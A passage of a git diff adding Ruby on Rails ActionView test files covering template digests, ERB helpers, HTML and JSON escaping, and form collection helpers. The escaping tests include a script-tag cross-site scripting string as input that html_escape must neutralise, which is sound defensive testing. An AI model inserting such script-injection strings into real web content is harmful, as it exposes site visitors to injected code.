+      add_template("events/_subscribers_changed")
+
+      assert_digest_difference("events/index") do
+        remove_template("events/_subscribers_changed")
+      end
+    end
+  end
+
+  def test_second_level_dependency
+    assert_digest_difference("messages/show") do
+      change_template("comments/_comments")
+    end
+  end
+
+  def test_second_level_dependency_within_same_directory
+    assert_digest_difference("messages/show") do
+      change_template("messages/_header")
+    end
+  end
+
+  def test_third_level_dependency
+    assert_digest_difference("messages/show") do
+      change_template("comments/_comment")
+    end
+  end
+
+  def test_directory_depth_dependency
+    assert_digest_difference("level/below/index") do
+      change_template("level/below/_header")
+    end
+  end
+
+  def test_logging_of_missing_template
+    assert_logged "Couldn't find template for digesting: messages/something_missing" do
+      digest("messages/show")
+    end
+  end
+
+  def test_logging_of_missing_template_ending_with_number
+    assert_logged "Couldn't find template for digesting: messages/something_missing_1" do
+      digest("messages/show")
+    end
+  end
+
+  def test_logging_of_missing_template_for_dependencies
+    assert_logged "Couldn't find template for digesting: messages/something_missing" do
+      dependencies("messages/something_missing")
+    end
+  end
+
+  def test_logging_of_missing_template_for_nested_dependencies
+    assert_logged "Couldn't find template for digesting: messages/something_missing" do
+      nested_dependencies("messages/something_missing")
+    end
+  end
+
+  def test_getting_of_singly_nested_dependencies
+    singly_nested_dependencies = ["messages/header", "messages/form", "messages/message", "events/event", "comments/comment"]
+    assert_equal singly_nested_dependencies, nested_dependencies("messages/edit")
+  end
+
+  def test_getting_of_doubly_nested_dependencies
+    doubly_nested = [{ "comments/comments" => ["comments/comment"] }, "messages/message"]
+    assert_equal doubly_nested, nested_dependencies("messages/peek")
+  end
+
+  def test_nested_template_directory
+    assert_digest_difference("messages/show") do
+      change_template("messages/actions/_move")
+    end
+  end
+
+  def test_nested_template_deps
+    nested_deps = ["messages/header", { "comments/comments" => ["comments/comment"] }, "messages/actions/move", "events/event", "messages/something_missing", "messages/something_missing_1", "messages/message", "messages/form"]
+    assert_equal nested_deps, nested_dependencies("messages/show")
+  end
+
+  def test_nested_template_deps_with_non_default_rendered_format
+    finder.rendered_format = nil
+    nested_deps = [{ "comments/comments" => ["comments/comment"] }]
+    assert_equal nested_deps, nested_dependencies("messages/thread")
+  end
+
+  def test_template_formats_of_nested_deps_with_non_default_rendered_format
+    finder.rendered_format = nil
+    assert_equal [:json], tree_template_formats("messages/thread").uniq
+  end
+
+  def test_template_formats_of_dependencies_with_same_logical_name_and_different_rendered_format
+    assert_equal [:html], tree_template_formats("messages/show").uniq
+  end
+
+  def test_recursion_in_renders
+    assert digest("level/recursion") # assert recursion is possible
+    assert_not_nil digest("level/recursion") # assert digest is stored
+  end
+
+  def test_chaining_the_top_template_on_recursion
+    assert digest("level/recursion") # assert recursion is possible
+
+    assert_digest_difference("level/recursion") do
+      change_template("level/recursion")
+    end
+
+    assert_not_nil digest("level/recursion") # assert digest is stored
+  end
+
+  def test_chaining_the_partial_template_on_recursion
+    assert digest("level/recursion") # assert recursion is possible
+
+    assert_digest_difference("level/recursion") do
+      change_template("level/_recursion")
+    end
+
+    assert_not_nil digest("level/recursion") # assert digest is stored
+  end
+
+  def test_dont_generate_a_digest_for_missing_templates
+    assert_equal "", digest("nothing/there")
+  end
+
+  def test_collection_dependency
+    assert_digest_difference("messages/index") do
+      change_template("messages/_message")
+    end
+
+    assert_digest_difference("messages/index") do
+      change_template("events/_event")
+    end
+  end
+
+  def test_collection_derived_from_record_dependency
+    assert_digest_difference("messages/show") do
+      change_template("events/_event")
+    end
+  end
+
+  def test_details_are_included_in_cache_key
+    # Cache the template digest.
+    @finder = FixtureFinder.new(formats: [:html])
+    old_digest = digest("events/_event")
+
+    # Change the template; the cached digest remains unchanged.
+    change_template("events/_event")
+
+    # The details are changed, so a new cache key is generated.
+    @finder = FixtureFinder.new
+
+    # The cache is busted.
+    assert_not_equal old_digest, digest("events/_event")
+  end
+
+  def test_extra_whitespace_in_render_partial
+    assert_digest_difference("messages/edit") do
+      change_template("messages/_form")
+    end
+  end
+
+  def test_extra_whitespace_in_render_named_partial
+    assert_digest_difference("messages/edit") do
+      change_template("messages/_header")
+    end
+  end
+
+  def test_extra_whitespace_in_render_record
+    assert_digest_difference("messages/edit") do
+      change_template("messages/_message")
+    end
+  end
+
+  def test_extra_whitespace_in_render_with_parenthesis
+    assert_digest_difference("messages/edit") do
+      change_template("events/_event")
+    end
+  end
+
+  def test_old_style_hash_in_render_invocation
+    assert_digest_difference("messages/edit") do
+      change_template("comments/_comment")
+    end
+  end
+
+  def test_variants
+    assert_digest_difference("messages/new", variants: [:iphone]) do
+      change_template("messages/new",     :iphone)
+      change_template("messages/_header", :iphone)
+    end
+  end
+
+  def test_dependencies_via_options_results_in_different_digest
+    digest_plain        = digest("comments/_comment")
+    digest_fridge       = digest("comments/_comment", dependencies: ["fridge"])
+    digest_phone        = digest("comments/_comment", dependencies: ["phone"])
+    digest_fridge_phone = digest("comments/_comment", dependencies: ["fridge", "phone"])
+
+    assert_not_equal digest_plain, digest_fridge
+    assert_not_equal digest_plain, digest_phone
+    assert_not_equal digest_plain, digest_fridge_phone
+    assert_not_equal digest_fridge, digest_phone
+    assert_not_equal digest_fridge, digest_fridge_phone
+    assert_not_equal digest_phone, digest_fridge_phone
+  end
+
+  def test_different_formats_with_same_logical_template_names_results_in_different_digests
+    html_digest = digest("comments/_comment", format: :html)
+    json_digest = digest("comments/_comment", format: :json)
+
+    assert_not_equal html_digest, json_digest
+  end
+
+  def test_digest_cache_cleanup_with_recursion
+    first_digest = digest("level/_recursion")
+    second_digest = digest("level/_recursion")
+
+    assert first_digest
+
+    # If the cache is cleaned up correctly, subsequent digests should return the same
+    assert_equal first_digest, second_digest
+  end
+
+  def test_digest_cache_cleanup_with_recursion_and_template_caching_off
+    disable_resolver_caching do
+      first_digest = digest("level/_recursion")
+      second_digest = digest("level/_recursion")
+
+      assert first_digest
+
+      # If the cache is cleaned up correctly, subsequent digests should return the same
+      assert_equal first_digest, second_digest
+    end
+  end
+
+  private
+    def assert_logged(message)
+      old_logger = ActionView::Base.logger
+      log = StringIO.new
+      ActionView::Base.logger = Logger.new(log)
+
+      begin
+        yield
+
+        log.rewind
+        assert_match message, log.read
+      ensure
+        ActionView::Base.logger = old_logger
+      end
+    end
+
+    def assert_digest_difference(template_name, options = {})
+      previous_digest = digest(template_name, options)
+      finder.digest_cache.clear
+
+      yield
+
+      assert_not_equal previous_digest, digest(template_name, options), "digest didn't change"
+      finder.digest_cache.clear
+    end
+
+    def digest(template_name, options = {})
+      options = options.dup
+      finder_options = options.extract!(:variants, :format)
+
+      finder.variants = finder_options[:variants] || []
+      finder.rendered_format = finder_options[:format] if finder_options[:format]
+
+      ActionView::Digestor.digest(name: template_name, finder: finder, dependencies: (options[:dependencies] || []))
+    end
+
+    def dependencies(template_name)
+      tree = ActionView::Digestor.tree(template_name, finder)
+      tree.children.map(&:name)
+    end
+
+    def nested_dependencies(template_name)
+      tree = ActionView::Digestor.tree(template_name, finder)
+      tree.children.map(&:to_dep_map)
+    end
+
+    def tree_template_formats(template_name)
+      tree = ActionView::Digestor.tree(template_name, finder)
+      tree.flatten.map(&:template).compact.flat_map(&:formats)
+    end
+
+    def disable_resolver_caching
+      old_caching, ActionView::Resolver.caching = ActionView::Resolver.caching, false
+      yield
+    ensure
+      ActionView::Resolver.caching = old_caching
+    end
+
+    def finder
+      @finder ||= FixtureFinder.new
+    end
+
+    def change_template(template_name, variant = nil)
+      variant = "+#{variant}" if variant.present?
+
+      File.open("digestor/#{template_name}.html#{variant}.erb", "w") do |f|
+        f.write "\nTHIS WAS CHANGED!"
+      end
+    end
+    alias_method :add_template, :change_template
+
+    def remove_template(template_name)
+      File.delete("digestor/#{template_name}.html.erb")
+    end
+end
diff --git a/actionview/test/template/erb/deprecated_erubis_implementation_test.rb b/actionview/test/template/erb/deprecated_erubis_implementation_test.rb
new file mode 100644
index 0000000000..ea088e7cfc
--- /dev/null
+++ b/actionview/test/template/erb/deprecated_erubis_implementation_test.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ERBTest
+  class DeprecatedErubisImplementationTest < ActionView::TestCase
+    test "Erubis implementation is deprecated" do
+      assert_deprecated "ActionView::Template::Handlers::Erubis is deprecated and will be removed from Rails 5.2. Switch to ActionView::Template::Handlers::ERB::Erubi instead." do
+        assert_equal "ActionView::Template::Handlers::ERB::Erubis", ActionView::Template::Handlers::Erubis.to_s
+
+        assert_nothing_raised { Class.new(ActionView::Template::Handlers::Erubis) }
+      end
+    end
+  end
+end
diff --git a/actionview/test/template/erb/form_for_test.rb b/actionview/test/template/erb/form_for_test.rb
new file mode 100644
index 0000000000..b6ecf003a5
--- /dev/null
+++ b/actionview/test/template/erb/form_for_test.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "template/erb/helper"
+
+module ERBTest
+  class TagHelperTest < BlockTestCase
+    test "form_for works" do
+      output = render_content "form_for(:staticpage, :url => {:controller => 'blah', :action => 'update'})", ""
+      assert_match %r{<form.*action="/blah/update".*method="post">.*</form>}, output
+    end
+  end
+end
diff --git a/actionview/test/template/erb/helper.rb b/actionview/test/template/erb/helper.rb
new file mode 100644
index 0000000000..57d6cb1be3
--- /dev/null
+++ b/actionview/test/template/erb/helper.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module ERBTest
+  class ViewContext
+    include ActionView::Helpers::UrlHelper
+    include SharedTestRoutes.url_helpers
+    include ActionView::Helpers::TagHelper
+    include ActionView::Helpers::JavaScriptHelper
+    include ActionView::Helpers::FormHelper
+
+    attr_accessor :output_buffer, :controller
+
+    def protect_against_forgery?() false end
+  end
+
+  class BlockTestCase < ActiveSupport::TestCase
+    def render_content(start, inside)
+      template = block_helper(start, inside)
+      ActionView::Template::Handlers::ERB.erb_implementation.new(template).evaluate(ViewContext.new)
+    end
+
+    def block_helper(str, rest)
+      "<%= #{str} do %>#{rest}<% end %>"
+    end
+  end
+end
diff --git a/actionview/test/template/erb/tag_helper_test.rb b/actionview/test/template/erb/tag_helper_test.rb
new file mode 100644
index 0000000000..24a7592950
--- /dev/null
+++ b/actionview/test/template/erb/tag_helper_test.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "template/erb/helper"
+
+module ERBTest
+  class TagHelperTest < BlockTestCase
+    test "percent equals works for content_tag and does not require parenthesis on method call" do
+      assert_equal "<div>Hello world</div>", render_content("content_tag :div", "Hello world")
+    end
+
+    test "percent equals works for javascript_tag" do
+      expected_output = "<script>\n//<![CDATA[\nalert('Hello')\n//]]>\n</script>"
+      assert_equal expected_output, render_content("javascript_tag", "alert('Hello')")
+    end
+
+    test "percent equals works for javascript_tag with options" do
+      expected_output = "<script id=\"the_js_tag\">\n//<![CDATA[\nalert('Hello')\n//]]>\n</script>"
+      assert_equal expected_output, render_content("javascript_tag(:id => 'the_js_tag')", "alert('Hello')")
+    end
+
+    test "percent equals works with form tags" do
+      expected_output = %r{<form.*action="/foo".*method="post">.*hello*</form>}
+      assert_match expected_output, render_content("form_tag('/foo')", "<%= 'hello' %>")
+    end
+
+    test "percent equals works with fieldset tags" do
+      expected_output = "<fieldset><legend>foo</legend>hello</fieldset>"
+      assert_equal expected_output, render_content("field_set_tag('foo')", "<%= 'hello' %>")
+    end
+  end
+end
diff --git a/actionview/test/template/erb_util_test.rb b/actionview/test/template/erb_util_test.rb
new file mode 100644
index 0000000000..8b804105f4
--- /dev/null
+++ b/actionview/test/template/erb_util_test.rb
@@ -0,0 +1,114 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/json"
+
+class ErbUtilTest < ActiveSupport::TestCase
+  include ERB::Util
+
+  ERB::Util::HTML_ESCAPE.each do |given, expected|
+    define_method "test_html_escape_#{expected.gsub(/\W/, '')}" do
+      assert_equal expected, html_escape(given)
+    end
+  end
+
+  ERB::Util::JSON_ESCAPE.each do |given, expected|
+    define_method "test_json_escape_#{expected.gsub(/\W/, '')}" do
+      assert_equal ERB::Util::JSON_ESCAPE[given], json_escape(given)
+    end
+  end
+
+  HTML_ESCAPE_TEST_CASES = [
+    ["<br>", "&lt;br&gt;"],
+    ["a & b", "a &amp; b"],
+    ['"quoted" string', "&quot;quoted&quot; string"],
+    ["'quoted' string", "&#39;quoted&#39; string"],
+    [
+      '<script type="application/javascript">alert("You are \'pwned\'!")</script>',
+      "&lt;script type=&quot;application/javascript&quot;&gt;alert(&quot;You are &#39;pwned&#39;!&quot;)&lt;/script&gt;"
+    ]
+  ]
+
+  JSON_ESCAPE_TEST_CASES = [
+    ["1", "1"],
+    ["null", "null"],
+    ['"&"', '"\u0026"'],
+    ['"</script>"', '"\u003c/script\u003e"'],
+    ['["</script>"]', '["\u003c/script\u003e"]'],
+    ['{"name":"</script>"}', '{"name":"\u003c/script\u003e"}'],
+    [%({"name":"d\u2028h\u2029h"}), '{"name":"d\u2028h\u2029h"}']
+  ]
+
+  def test_html_escape
+    HTML_ESCAPE_TEST_CASES.each do |(raw, expected)|
+      assert_equal expected, html_escape(raw)
+    end
+  end
+
+  def test_json_escape
+    JSON_ESCAPE_TEST_CASES.each do |(raw, expected)|
+      assert_equal expected, json_escape(raw)
+    end
+  end
+
+  def test_json_escape_does_not_alter_json_string_meaning
+    JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+      expected = ActiveSupport::JSON.decode(raw)
+      if expected.nil?
+        assert_nil ActiveSupport::JSON.decode(json_escape(raw))
+      else
+        assert_equal expected, ActiveSupport::JSON.decode(json_escape(raw))
+      end
+    end
+  end
+
+  def test_json_escape_is_idempotent
+    JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+      assert_equal json_escape(raw), json_escape(json_escape(raw))
+    end
+  end
+
+  def test_json_escape_returns_unsafe_strings_when_passed_unsafe_strings
+    value = json_escape("asdf")
+    assert !value.html_safe?
+  end
+
+  def test_json_escape_returns_safe_strings_when_passed_safe_strings
+    value = json_escape("asdf".html_safe)
+    assert value.html_safe?
+  end
+
+  def test_html_escape_is_html_safe
+    escaped = h("<p>")
+    assert_equal "&lt;p&gt;", escaped
+    assert escaped.html_safe?
+  end
+
+  def test_html_escape_passes_html_escape_unmodified
+    escaped = h("<p>".html_safe)
+    assert_equal "<p>", escaped
+    assert escaped.html_safe?
+  end
+
+  def test_rest_in_ascii
+    (0..127).to_a.map(&:chr).each do |chr|
+      next if %('"&<>).include?(chr)
+      assert_equal chr, html_escape(chr)
+    end
+  end
+
+  def test_html_escape_once
+    assert_equal "1 &lt;&gt;&amp;&quot;&#39; 2 &amp; 3", html_escape_once('1 <>&"\' 2 &amp; 3')
+    assert_equal " &#X27; &#x27; &#x03BB; &#X03bb; &quot; &#39; &lt; &gt; ", html_escape_once(" &#X27; &#x27; &#x03BB; &#X03bb; \" ' < > ")
+  end
+
+  def test_html_escape_once_returns_unsafe_strings_when_passed_unsafe_strings
+    value = html_escape_once("1 < 2 &amp; 3")
+    assert !value.html_safe?
+  end
+
+  def test_html_escape_once_returns_safe_strings_when_passed_safe_strings
+    value = html_escape_once("1 < 2 &amp; 3".html_safe)
+    assert value.html_safe?
+  end
+end
diff --git a/actionview/test/template/form_collections_helper_test.rb b/actionview/test/template/form_collections_helper_test.rb
new file mode 100644
index 0000000000..aa72621c7d
--- /dev/null
+++ b/actionview/test/template/form_collections_helper_test.rb
@@ -0,0 +1,513 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+Category = Struct.new(:id, :name)
+
+class FormCollectionsHelperTest < ActionView::TestCase
+  def assert_no_select(selector, value = nil)
+    assert_select(selector, text: value, count: 0)
+  end
+
+  def with_collection_radio_buttons(*args, &block)
+    @output_buffer = collection_radio_buttons(*args, &block)
+  end
+
+  def with_collection_check_boxes(*args, &block)
+    @output_buffer = collection_check_boxes(*args, &block)
+  end
+
+  # COLLECTION RADIO BUTTONS
+  test "collection radio accepts a collection and generates inputs from value method" do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+    assert_select "input[type=radio][value=true]#user_active_true"
+    assert_select "input[type=radio][value=false]#user_active_false"
+  end
+
+  test "collection radio accepts a collection and generates inputs from label method" do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+    assert_select "label[for=user_active_true]", "true"
+    assert_select "label[for=user_active_false]", "false"
+  end
+
+  test "collection radio handles camelized collection values for labels correctly" do
+    with_collection_radio_buttons :user, :active, ["Yes", "No"], :to_s, :to_s
+
+    assert_select "label[for=user_active_yes]", "Yes"
+    assert_select "label[for=user_active_no]", "No"
+  end
+
+  test "collection radio should sanitize collection values for labels correctly" do
+    with_collection_radio_buttons :user, :name, ["$0.99", "$1.99"], :to_s, :to_s
+    assert_select "label[for=user_name_099]", "$0.99"
+    assert_select "label[for=user_name_199]", "$1.99"
+  end
+
+  test "collection radio accepts checked item" do
+    with_collection_radio_buttons :user, :active, [[1, true], [0, false]], :last, :first, checked: true
+
+    assert_select "input[type=radio][value=true][checked=checked]"
+    assert_no_select "input[type=radio][value=false][checked=checked]"
+  end
+
+  test "collection radio accepts multiple disabled items" do
+    collection = [[1, true], [0, false], [2, "other"]]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, disabled: [true, false]
+
+    assert_select "input[type=radio][value=true][disabled=disabled]"
+    assert_select "input[type=radio][value=false][disabled=disabled]"
+    assert_no_select "input[type=radio][value=other][disabled=disabled]"
+  end
+
+  test "collection radio accepts single disabled item" do
+    collection = [[1, true], [0, false]]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, disabled: true
+
+    assert_select "input[type=radio][value=true][disabled=disabled]"
+    assert_no_select "input[type=radio][value=false][disabled=disabled]"
+  end
+
+  test "collection radio accepts multiple readonly items" do
+    collection = [[1, true], [0, false], [2, "other"]]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, readonly: [true, false]
+
+    assert_select "input[type=radio][value=true][readonly=readonly]"
+    assert_select "input[type=radio][value=false][readonly=readonly]"
+    assert_no_select "input[type=radio][value=other][readonly=readonly]"
+  end
+
+  test "collection radio accepts single readonly item" do
+    collection = [[1, true], [0, false]]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, readonly: true
+
+    assert_select "input[type=radio][value=true][readonly=readonly]"
+    assert_no_select "input[type=radio][value=false][readonly=readonly]"
+  end
+
+  test "collection radio accepts html options as input" do
+    collection = [[1, true], [0, false]]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, {}, class: "special-radio"
+
+    assert_select "input[type=radio][value=true].special-radio#user_active_true"
+    assert_select "input[type=radio][value=false].special-radio#user_active_false"
+  end
+
+  test "collection radio accepts html options as the last element of array" do
+    collection = [[1, true, { class: "foo" }], [0, false, { class: "bar" }]]
+    with_collection_radio_buttons :user, :active, collection, :second, :first
+
+    assert_select "input[type=radio][value=true].foo#user_active_true"
+    assert_select "input[type=radio][value=false].bar#user_active_false"
+  end
+
+  test "collection radio sets the label class defined inside the block" do
+    collection = [[1, true, { class: "foo" }], [0, false, { class: "bar" }]]
+    with_collection_radio_buttons :user, :active, collection, :second, :first do |b|
+      b.label(class: "collection_radio_buttons")
+    end
+
+    assert_select "label.collection_radio_buttons[for=user_active_true]"
+    assert_select "label.collection_radio_buttons[for=user_active_false]"
+  end
+
+  test "collection radio does not include the input class in the respective label" do
+    collection = [[1, true, { class: "foo" }], [0, false, { class: "bar" }]]
+    with_collection_radio_buttons :user, :active, collection, :second, :first
+
+    assert_no_select "label.foo[for=user_active_true]"
+    assert_no_select "label.bar[for=user_active_false]"
+  end
+
+  test "collection radio does not wrap input inside the label" do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+    assert_select "input[type=radio] + label"
+    assert_no_select "label input"
+  end
+
+  test "collection radio accepts a block to render the label as radio button wrapper" do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label { b.radio_button }
+    end
+
+    assert_select "label[for=user_active_true] > input#user_active_true[type=radio]"
+    assert_select "label[for=user_active_false] > input#user_active_false[type=radio]"
+  end
+
+  test "collection radio accepts a block to change the order of label and radio button" do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label + b.radio_button
+    end
+
+    assert_select "label[for=user_active_true] + input#user_active_true[type=radio]"
+    assert_select "label[for=user_active_false] + input#user_active_false[type=radio]"
+  end
+
+  test "collection radio with block helpers accept extra html options" do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(class: "radio_button") + b.radio_button(class: "radio_button")
+    end
+
+    assert_select "label.radio_button[for=user_active_true] + input#user_active_true.radio_button[type=radio]"
+    assert_select "label.radio_button[for=user_active_false] + input#user_active_false.radio_button[type=radio]"
+  end
+
+  test "collection radio with block helpers allows access to current text and value" do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label("data-value": b.value) { b.radio_button + b.text }
+    end
+
+    assert_select "label[for=user_active_true][data-value=true]", "true" do
+      assert_select "input#user_active_true[type=radio]"
+    end
+    assert_select "label[for=user_active_false][data-value=false]", "false" do
+      assert_select "input#user_active_false[type=radio]"
+    end
+  end
+
+  test "collection radio with block helpers allows access to the current object item in the collection to access extra properties" do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(class: b.object) { b.radio_button + b.text }
+    end
+
+    assert_select "label.true[for=user_active_true]", "true" do
+      assert_select "input#user_active_true[type=radio]"
+    end
+    assert_select "label.false[for=user_active_false]", "false" do
+      assert_select "input#user_active_false[type=radio]"
+    end
+  end
+
+  test "collection radio buttons with fields for" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    @output_buffer = fields_for(:post) do |p|
+      p.collection_radio_buttons :category_id, collection, :id, :name
+    end
+
+    assert_select 'input#post_category_id_1[type=radio][value="1"]'
+    assert_select 'input#post_category_id_2[type=radio][value="2"]'
+
+    assert_select "label[for=post_category_id_1]", "Category 1"
+    assert_select "label[for=post_category_id_2]", "Category 2"
+  end
+
+  test "collection radio accepts checked item which has a value of false" do
+    with_collection_radio_buttons :user, :active, [[1, true], [0, false]], :last, :first, checked: false
+    assert_no_select "input[type=radio][value=true][checked=checked]"
+    assert_select "input[type=radio][value=false][checked=checked]"
+  end
+
+  test "collection radio buttons generates only one hidden field for the entire collection, to ensure something will be sent back to the server when posting an empty collection" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_radio_buttons :user, :category_ids, collection, :id, :name
+
+    assert_select "input[type=hidden][name='user[category_ids]'][value='']", count: 1
+  end
+
+  test "collection radio buttons generates a hidden field using the given :name in :html_options" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_radio_buttons :user, :category_ids, collection, :id, :name, {}, name: "user[other_category_ids]"
+
+    assert_select "input[type=hidden][name='user[other_category_ids]'][value='']", count: 1
+  end
+
+  test "collection radio buttons generates a hidden field with index if it was provided" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_radio_buttons :user, :category_ids, collection, :id, :name, index: 322
+
+    assert_select "input[type=hidden][name='user[322][category_ids]'][value='']", count: 1
+  end
+
+  test "collection radio buttons does not generate a hidden field if include_hidden option is false" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_radio_buttons :user, :category_ids, collection, :id, :name, include_hidden: false
+
+    assert_select "input[type=hidden][name='user[category_ids]'][value='']", count: 0
+  end
+
+  test "collection radio buttons does not generate a hidden field if include_hidden option is false with key as string" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_radio_buttons :user, :category_ids, collection, :id, :name, "include_hidden" => false
+
+    assert_select "input[type=hidden][name='user[category_ids]'][value='']", count: 0
+  end
+
+  # COLLECTION CHECK BOXES
+  test "collection check boxes accepts a collection and generate a series of checkboxes for value method" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+    assert_select 'input#user_category_ids_1[type=checkbox][value="1"]'
+    assert_select 'input#user_category_ids_2[type=checkbox][value="2"]'
+  end
+
+  test "collection check boxes generates only one hidden field for the entire collection, to ensure something will be sent back to the server when posting an empty collection" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+    assert_select "input[type=hidden][name='user[category_ids][]'][value='']", count: 1
+  end
+
+  test "collection check boxes generates a hidden field using the given :name in :html_options" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name, {}, name: "user[other_category_ids][]"
+
+    assert_select "input[type=hidden][name='user[other_category_ids][]'][value='']", count: 1
+  end
+
+  test "collection check boxes generates a hidden field with index if it was provided" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name, index: 322
+
+    assert_select "input[type=hidden][name='user[322][category_ids][]'][value='']", count: 1
+  end
+
+  test "collection check boxes does not generate a hidden field if include_hidden option is false" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name, include_hidden: false
+
+    assert_select "input[type=hidden][name='user[category_ids][]'][value='']", count: 0
+  end
+
+  test "collection check boxes does not generate a hidden field if include_hidden option is false with key as string" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name, "include_hidden" => false
+
+    assert_select "input[type=hidden][name='user[category_ids][]'][value='']", count: 0
+  end
+
+  test "collection check boxes accepts a collection and generate a series of checkboxes with labels for label method" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+    assert_select "label[for=user_category_ids_1]", "Category 1"
+    assert_select "label[for=user_category_ids_2]", "Category 2"
+  end
+
+  test "collection check boxes handles camelized collection values for labels correctly" do
+    with_collection_check_boxes :user, :active, ["Yes", "No"], :to_s, :to_s
+
+    assert_select "label[for=user_active_yes]", "Yes"
+    assert_select "label[for=user_active_no]", "No"
+  end
+
+  test "collection check box should sanitize collection values for labels correctly" do
+    with_collection_check_boxes :user, :name, ["$0.99", "$1.99"], :to_s, :to_s
+    assert_select "label[for=user_name_099]", "$0.99"
+    assert_select "label[for=user_name_199]", "$1.99"
+  end
+
+  test "collection check boxes accepts html options as the last element of array" do
+    collection = [[1, "Category 1", { class: "foo" }], [2, "Category 2", { class: "bar" }]]
+    with_collection_check_boxes :user, :active, collection, :first, :second
+
+    assert_select 'input[type=checkbox][value="1"].foo'
+    assert_select 'input[type=checkbox][value="2"].bar'
+  end
+
+  test "collection check boxes propagates input id to the label for attribute" do
+    collection = [[1, "Category 1", { id: "foo" }], [2, "Category 2", { id: "bar" }]]
+    with_collection_check_boxes :user, :active, collection, :first, :second
+
+    assert_select 'input[type=checkbox][value="1"]#foo'
+    assert_select 'input[type=checkbox][value="2"]#bar'
+
+    assert_select "label[for=foo]"
+    assert_select "label[for=bar]"
+  end
+
+  test "collection check boxes sets the label class defined inside the block" do
+    collection = [[1, "Category 1", { class: "foo" }], [2, "Category 2", { class: "bar" }]]
+    with_collection_check_boxes :user, :active, collection, :second, :first do |b|
+      b.label(class: "collection_check_boxes")
+    end
+
+    assert_select "label.collection_check_boxes[for=user_active_category_1]"
+    assert_select "label.collection_check_boxes[for=user_active_category_2]"
+  end
+
+  test "collection check boxes does not include the input class in the respective label" do
+    collection = [[1, "Category 1", { class: "foo" }], [2, "Category 2", { class: "bar" }]]
+    with_collection_check_boxes :user, :active, collection, :second, :first
+
+    assert_no_select "label.foo[for=user_active_category_1]"
+    assert_no_select "label.bar[for=user_active_category_2]"
+  end
+
+  test "collection check boxes accepts selected values as :checked option" do
+    collection = (1..3).map { |i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, checked: [1, 3]
+
+    assert_select 'input[type=checkbox][value="1"][checked=checked]'
+    assert_select 'input[type=checkbox][value="3"][checked=checked]'
+    assert_no_select 'input[type=checkbox][value="2"][checked=checked]'
+  end
+
+  test "collection check boxes accepts selected string values as :checked option" do
+    collection = (1..3).map { |i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, checked: ["1", "3"]
+
+    assert_select 'input[type=checkbox][value="1"][checked=checked]'
+    assert_select 'input[type=checkbox][value="3"][checked=checked]'
+    assert_no_select 'input[type=checkbox][value="2"][checked=checked]'
+  end
+
+  test "collection check boxes accepts a single checked value" do
+    collection = (1..3).map { |i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, checked: 3
+
+    assert_select 'input[type=checkbox][value="3"][checked=checked]'
+    assert_no_select 'input[type=checkbox][value="1"][checked=checked]'
+    assert_no_select 'input[type=checkbox][value="2"][checked=checked]'
+  end
+
+  test "collection check boxes accepts selected values as :checked option and override the model values" do
+    user = Struct.new(:category_ids).new(2)
+    collection = (1..3).map { |i| [i, "Category #{i}"] }
+
+    @output_buffer = fields_for(:user, user) do |p|
+      p.collection_check_boxes :category_ids, collection, :first, :last, checked: [1, 3]
+    end
+
+    assert_select 'input[type=checkbox][value="1"][checked=checked]'
+    assert_select 'input[type=checkbox][value="3"][checked=checked]'
+    assert_no_select 'input[type=checkbox][value="2"][checked=checked]'
+  end
+
+  test "collection check boxes accepts multiple disabled items" do
+    collection = (1..3).map { |i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, disabled: [1, 3]
+
+    assert_select 'input[type=checkbox][value="1"][disabled=disabled]'
